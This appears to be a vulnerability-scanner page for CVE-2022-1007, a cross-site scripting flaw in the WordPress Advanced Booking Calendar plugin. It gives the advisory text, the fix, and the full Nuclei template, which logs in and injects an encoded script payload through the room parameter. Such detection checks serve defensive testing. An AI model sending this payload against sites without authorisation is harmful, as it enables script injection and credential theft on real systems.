CVE-2022-1007· elbtide / advanced booking calendar· CWE-79
WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the user.
Fix
Update to WordPress Advanced Booking Calendar plugin version 1.7.1 or later to mitigate this vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fsc…
Positive when: contains(body_2, '<script>alert(document.domain)</script>') and contains(body_2, 'advanced-booking-calendar') and contains(header_2, 'text/html') and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2022-1007 -u <target>
The full check
id: CVE-2022-1007
info:
name: WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
author: 8arthur
severity: medium
description: |
WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the user.
remediation: |
Update to WordPress Advanced Booking Calendar plugin version 1.7.1 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358
- https://wordpress.org/plugins/advanced-booking-calendar/
- https://nvd.nist.gov/vuln/detail/cve-2022-1007
- https://plugins.trac.wordpress.org/changeset/2695427
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1007
cwe-id: CWE-79
epss-score: 0.01868
epss-percentile: 0.795
cpe: cpe:2.3:a:elbtide:advanced_booking_calendar:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: elbtide
product: advanced_booking_calendar
framework: wordpress
tags: cve,cve2022,wp-plugin,advanced-booking-calendar,wp,authenticated,wpscan,wordpress,xss,elbtide,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body_2, '<script>alert(document.domain)</script>')"
- "contains(body_2, 'advanced-booking-calendar')"
- "contains(header_2, 'text/html')"
- "status_code_2 == 200"
condition: andReferences
- https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358
- https://wordpress.org/plugins/advanced-booking-calendar/
- https://nvd.nist.gov/vuln/detail/cve-2022-1007
- https://plugins.trac.wordpress.org/changeset/2695427
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from